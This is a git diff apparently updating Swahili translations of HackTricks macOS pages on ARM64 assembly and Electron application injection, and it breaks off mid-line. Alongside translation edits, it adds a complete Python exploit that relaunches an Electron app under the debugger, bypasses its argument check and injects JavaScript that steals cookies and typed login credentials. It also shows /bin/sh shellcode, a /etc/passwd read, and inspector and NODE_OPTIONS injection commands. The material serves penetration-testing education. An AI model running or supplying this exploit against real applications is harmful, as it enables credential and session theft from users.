**`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **`AArch32`** programu CPSR. Kisha, mchakato wenye mamlaka unaita **`ERET`** maagizo ili processor ipitie **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\* +**Programu za 64-bit** zenye mamlaka zinaweza kupanga **utendaji wa programu za 32-bit** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa 32-bit yenye mamlaka ya chini.\ +Kumbuka kwamba mpito kutoka 64-bit hadi 32-bit unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya 64-bit katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** **`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **CPSR** za programu za **`AArch32`**. Kisha, mchakato wenye mamlaka unaita maagizo ya **`ERET`** ili processor ipitie **`AArch32`** ikingia katika A32 au T32 kulingana na CPSR**.** -**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini zaidi kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\ +**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini kabisa kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\ Hii imewekwa wakati wa **maagizo ya tawi la interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC imewekwa kama register ya marudio. Mfano: Mfano mwingine: @@ -264,7 +264,7 @@ mov r0, #8 ``` ### Registers -Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi zimehifadhiwa: +Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi huhifadhiwa: - **`r15`**: Program counter (daima). Inashikilia anwani ya amri inayofuata. Katika A32 sasa + 8, katika T32, sasa + 4. - **`r11`**: Frame Pointer @@ -272,12 +272,12 @@ Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika k - **`r13`**: Stack Pointer - **`r14`**: Link Register -Zaidi ya hayo, register zinaungwa mkono katika **`banked registries`**. Ambazo ni maeneo yanayohifadhi thamani za register kuruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni zenye mamlaka ili kuepuka hitaji la kuhifadhi na kurejesha register kwa mikono kila wakati.\ -Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo kosa limechukuliwa. Wakati kosa linaporudi, **`CPSR`** inarejeshwa kutoka **`SPSR`**. +Zaidi ya hayo, register zinaungwa mkono katika **`banked registries`**. Ambazo ni maeneo yanayohifadhi thamani za register kuruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni za kibali ili kuepuka hitaji la kuhifadhi na kurejesha register kwa mikono kila wakati.\ +Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo makosa yanachukuliwa. Wakati makosa yanarejea, **`CPSR`** inarejeshwa kutoka **`SPSR`**. ### CPSR - Current Program Status Register -Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati kosa linachukuliwa ili kurejesha utekelezaji baadaye: +Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati makosa yanachukuliwa ili kurejesha utekelezaji baadaye:
@@ -289,19 +289,19 @@ Sehemu zimegawanywa katika makundi kadhaa: #### Application Program Status Register (APSR) - Bendera **`N`**, **`Z`**, **`C`**, **`V`** (kama ilivyo katika AArch64) -- Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu inayoshikilia. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono. +- Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu ya saturation. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono. - Bendera **`GE`** (Kubwa kuliko au sawa): Inatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama vile "kuongeza kwa pamoja" na "kupunguza kwa pamoja". Operesheni hizi zinaruhusu kusindika vidokezo vingi vya data katika amri moja. -Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka mipaka**. +Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera za `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka**. Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti. #### Execution State Registers - Bits **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya amri A32 inatumika, na ikiwa ni 1, T32 inatumika. -- **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na **`IT`**. +- **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na prefiksi **`IT`**. - Bit **`E`**: Inaonyesha **endianness**. -- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya kosa inayotumika sasa** (wakati kosa linapotokea na linashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** endapo kosa lingine litachochewa wakati huu unashughulikiwa. +- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya makosa inayotumika sasa** (wakati makosa yanatokea na yanashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** ikiwa makosa mengine yanachochewa wakati huu unashughulikiwa.
@@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache. +Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache hiyo. > [!TIP] -> Wakati mwingine ni rahisi kuangalia **decompiled** code kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa. +> Wakati mwingine ni rahisi kuangalia **code iliyodecompiled** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa. ### machdep calls @@ -336,7 +336,7 @@ XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Nambari za cal ### comm page -Hii ni ukurasa wa kumbukumbu wa mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kwamba mpito huu ungekuwa usio na ufanisi. +Hii ni ukurasa wa kumbukumbu ya mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kiasi kwamba mpito huu ungekuwa usio na ufanisi. Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwenye comm page. @@ -347,10 +347,10 @@ Ni kawaida sana kupata kazi hii ikitumika katika programu za Objective-C au Swif Parameta ([maelezo zaidi katika docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Pointer kwa mfano -- x1: op -> Mchaguo wa njia +- x1: op -> Mchoro wa njia - x2... -> Mabaki ya hoja za njia iliyoitwa -Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbia amri): +Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbiza amri): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -378,15 +378,15 @@ Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa - Fanya utafutaji wa cache wa matumaini: - Ikiwa ni mafanikio, imekamilika - Pata runtimeLock (kusoma) -- Ikiwa (realize && !cls->realized) realize darasa -- Ikiwa (initialize && !cls->initialized) initialize darasa +- Ikiwa (realize && !cls->realized) realize class +- Ikiwa (initialize && !cls->initialized) initialize class - Jaribu cache ya darasa lenyewe: - Ikiwa ni mafanikio, imekamilika - Jaribu orodha ya mbinu za darasa: - Ikiwa imepatikana, jaza cache na umalize -- Jaribu cache ya darasa la juu: +- Jaribu cache ya darasa la mzazi: - Ikiwa ni mafanikio, imekamilika -- Jaribu orodha ya mbinu za darasa la juu: +- Jaribu orodha ya mbinu za darasa la mzazi: - Ikiwa imepatikana, jaza cache na umalize - Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka utafutaji wa darasa - Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu forwarder @@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="na stack"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="na adr kwa linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh" #### Soma na cat -Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya params (ambayo katika kumbukumbu inamaanisha stack ya anwani). +Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya param (ambayo katika kumbukumbu inamaanisha stack ya anwani). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index b9b988df6..c8e839460 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,20 +4,20 @@ ## Basic Information -Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Lakini kwa sasa jua tu kwamba Electron inafanya kazi na **node**.\ -Na node ina **parameta** na **env variables** ambazo zinaweza kutumika **kufanya itekeleze nambari nyingine** mbali na faili iliyoonyeshwa. +Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Lakini kwa sasa jua tu kwamba Electron inatumia **node**.\ +Na node ina **parameta** na **mabadiliko ya mazingira** ambayo yanaweza kutumika **kufanya itekeleze msimbo mwingine** mbali na faili iliyoonyeshwa. ### Electron Fuses -Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama** kadhaa ili kuzuia hizo. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kuchukua nambari zisizo za kawaida**: +Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama kuzuia hizo**. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kudhani msimbo usio na mpangilio**: -- **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya env var **`ELECTRON_RUN_AS_NODE`** kuingiza nambari. -- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Inakwepa njia hii ya kuingiza nambari. -- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **faili** ya **`asar`** itathibitishwa na macOS. **Ikizuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii. -- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua na kutumia tu app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kuchukua nambari zisizo thibitishwa**. -- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari hutumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8. +- **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya mabadiliko ya mazingira **`ELECTRON_RUN_AS_NODE`** kuingiza msimbo. +- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Kuepusha njia hii ya kuingiza msimbo. +- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **faili** ya **`asar`** itathibitishwa na macOS. **Kuzuia** njia hii **kuingizwa kwa msimbo** kwa kubadilisha maudhui ya faili hii. +- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua tu na kutumia app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kudhani msimbo usio na uthibitisho**. +- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari unatumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8. -Fuse nyingine ya kuvutia ambayo haitazuia kuingiza nambari ni: +Fuse nyingine ya kuvutia ambayo haitazuia kuingizwa kwa msimbo ni: - **EnableCookieEncryption**: Ikiwa imewezeshwa, duka la kuki kwenye diski linakuwa limefichwa kwa kutumia funguo za cryptography za kiwango cha OS. @@ -50,11 +50,11 @@ Unaweza kupakia faili hii katika [https://hexed.it/](https://hexed.it/) na kutaf
-Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework` binary** ndani ya programu kwa bytes hizi zilizobadilishwa, programu hiyo haitafanya kazi. +Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework`** binary ndani ya programu na hizi bytes zimebadilishwa, programu hiyo haitafanya kazi. ## RCE kuongeza msimbo kwenye Programu za Electron -Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambazo saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu. +Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambao saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu. > [!CAUTION] > Hata hivyo, kwa sasa kuna vizuizi 2: @@ -64,19 +64,19 @@ Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumi > > Hii inafanya njia hii ya shambulio kuwa ngumu zaidi (au haiwezekani). -Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye saraka nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** kwa msimbo wako **mbaya**, kubadilisha jina lake kurudi kuwa **`app.app/Contents`** na kuitekeleza. +Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye directory nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** na msimbo wako **mbaya**, kubadilisha jina lake tena kuwa **`app.app/Contents`** na kuitekeleza. Unaweza kufungua msimbo kutoka kwa faili la asar kwa: ```bash npx asar extract app.asar app-decomp ``` -Na uifunge tena baada ya kuibadilisha kwa: +Na uifunge tena baada ya kuibadilisha na: ```bash npx asar pack app-decomp app-new.asar ``` -## RCE na `ELECTRON_RUN_AS_NODE` +## RCE na ELECTRON_RUN_AS_NODE -Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii env variable imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js. +Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii variable ya mazingira imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js. ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord @@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Ikiwa fuse **`RunAsNode`** imezimwa, mabadiliko ya env **`ELECTRON_RUN_AS_NODE`** yataachwa bila kutumika, na hii haitafanya kazi. +> Ikiwa fuse **`RunAsNode`** imezimwa, mabadiliko ya env **`ELECTRON_RUN_AS_NODE`** yataachwa, na hii haitafanya kazi. ### Uingizaji kutoka kwa App Plist @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> Ikiwa fuse **`EnableNodeOptionsEnvironmentVariable`** ime **zimwa**, programu itakuwa **ipuuze** env var **NODE_OPTIONS** inapozinduliwa isipokuwa env variable **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itapuuziliwa mbali ikiwa fuse **`RunAsNode`** imezimwa. +> Ikiwa fuse **`EnableNodeOptionsEnvironmentVariable`** ime **zimwa**, app itakuwa **ipuuze** env var **NODE_OPTIONS** inapozinduliwa isipokuwa env variable **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itapuuziliwa mbali ikiwa fuse **`RunAsNode`** imezimwa. > > Ikiwa hujaweka **`ELECTRON_RUN_AS_NODE`**, utaona **kosa**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -154,6 +154,214 @@ Kwa mfano: # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` +Katika [**hiki blogu**](https://hackerone.com/reports/1274695), ufuatiliaji huu unatumika vibaya ili kufanya chrome isiyo na kichwa **ipakue faili zisizo na mpangilio katika maeneo yasiyo na mpangilio**. + +> [!TIP] +> Ikiwa programu ina njia yake ya kawaida ya kuangalia ikiwa mabadiliko ya mazingira au vigezo kama `--inspect` vimewekwa, unaweza kujaribu **kuyapita** katika wakati wa utekelezaji kwa kutumia arg `--inspect-brk` ambayo it **isimamishe utekelezaji** mwanzoni mwa programu na kutekeleza bypass (kuandika upya vigezo au mabadiliko ya mazingira ya mchakato wa sasa kwa mfano). + +Ifuatayo ilikuwa exploit ambayo kwa kufuatilia na kutekeleza programu na param `--inspect-brk` ilikuwa inawezekana kuyapita ulinzi wa kawaida iliyo nayo (kuandika upya vigezo vya mchakato ili kuondoa `--inspect-brk`) na kisha kuingiza payload ya JS ili kutupa vidakuzi na akidi kutoka kwa programu: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` > [!CAUTION] > Ikiwa fuse **`EnableNodeCliInspectArguments`** imezimwa, programu itakuwa **ikiweka kando vigezo vya node** (kama `--inspect`) inapozinduliwa isipokuwa variable ya env **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itakuwa **ikiwekwa kando** ikiwa fuse **`RunAsNode`** imezimwa. > @@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -Katika [**hiki blogu**](https://hackerone.com/reports/1274695), urekebishaji huu unatumika vibaya kufanya chrome isiyo na kichwa **ipakue faili zisizo na mpangilio katika maeneo yasiyo na mpangilio**. +### Injection from the App Plist -### Uingizaji kutoka kwa App Plist - -Unaweza kutumia vibaya hii env variable katika plist ili kudumisha uvumilivu kwa kuongeza funguo hizi: +Unaweza kutumia hii env variable katika plist ili kudumisha uvumilivu kwa kuongeza funguo hizi: ```xml ProgramArguments @@ -199,9 +405,11 @@ Hivyo, ikiwa unataka kutumia haki za kuingia ili kufikia kamera au kipaza sauti ## Automatic Injection -Zana [**electroniz3r**](https://github.com/r3ggi/electroniz3r) inaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Zana hii itajaribu kutumia mbinu ya **`--inspect`**: +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) -Unahitaji kuikamilisha mwenyewe na unaweza kuitumia kama hii: +Chombo [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kinaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Chombo hiki kitajaribu kutumia mbinu ya **`--inspect`**: + +Unahitaji kukiunda mwenyewe na unaweza kuitumia kama hii: ```bash # Find electron apps ./electroniz3r list-apps @@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 